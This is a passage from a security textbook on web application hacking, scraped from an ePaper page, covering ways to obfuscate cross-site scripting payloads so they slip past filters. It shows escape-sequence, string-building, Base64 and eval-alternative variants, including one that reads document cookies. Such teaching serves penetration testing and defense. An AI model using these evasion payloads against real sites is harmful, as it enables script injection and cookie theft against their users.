19.09.2017 Views

the-web-application-hackers-handbook

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

466 Chapter 12 n Attacking Users: Cross-Site Scripting<br />

use various string manipulation techniques to hide <strong>the</strong> command you are<br />

executing.<br />

Within JavaScript strings, you can use Unicode escapes, hexadecimal escapes,<br />

and octal escapes:<br />

eval(‘a\u006cert(1)’);<br />

eval(‘a\x6cert(1)’);<br />

eval(‘a\154ert(1)’);<br />

Fur<strong>the</strong>rmore, superfluous escape characters within strings are ignored:<br />

eval(‘a\l\ert\(1\)’);<br />

Dynamically Constructing Strings<br />

You can use o<strong>the</strong>r techniques to dynamically construct strings to use in your attacks:<br />

eval(‘al’+’ert(1)’);<br />

eval(String.fromCharCode(97,108,101,114,116,40,49,41));<br />

eval(atob(‘amF2YXNjcmlwdDphbGVydCgxKQ’));<br />

The final example, which works on Firefox, allows you to decode a Base64-<br />

encoded command before passing it to eval.<br />

Alternatives to eval<br />

If direct calls to <strong>the</strong> eval command are not possible, you have o<strong>the</strong>r ways to<br />

execute commands in string form:<br />

’alert(1)’.replace(/.+/,eval)<br />

function::[‘alert’](1)<br />

Alternatives to Dots<br />

If <strong>the</strong> dot character is being blocked, you can use o<strong>the</strong>r methods to perform<br />

dereferences:<br />

alert(document[‘cookie’])<br />

with(document)alert(cookie)<br />

Combining Multiple Techniques<br />

The techniques described so far can often be used in combination to apply several<br />

layers of obfuscation to your attack. Fur<strong>the</strong>rmore, in cases where JavaScript<br />

is being used within an HTML tag attribute (via an event handler, scripting<br />

pseudo-protocol, or dynamically evaluated style), you can combine <strong>the</strong>se techniques<br />

with HTML encoding. The browser HTML-decodes <strong>the</strong> tag attribute<br />

value before <strong>the</strong> JavaScript it contains is interpreted. In <strong>the</strong> following example,<br />

<strong>the</strong> “e” character in “alert” has been escaped using Unicode escaping, and <strong>the</strong><br />

backslash used in <strong>the</strong> Unicode escape has been HTML-encoded:<br />

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!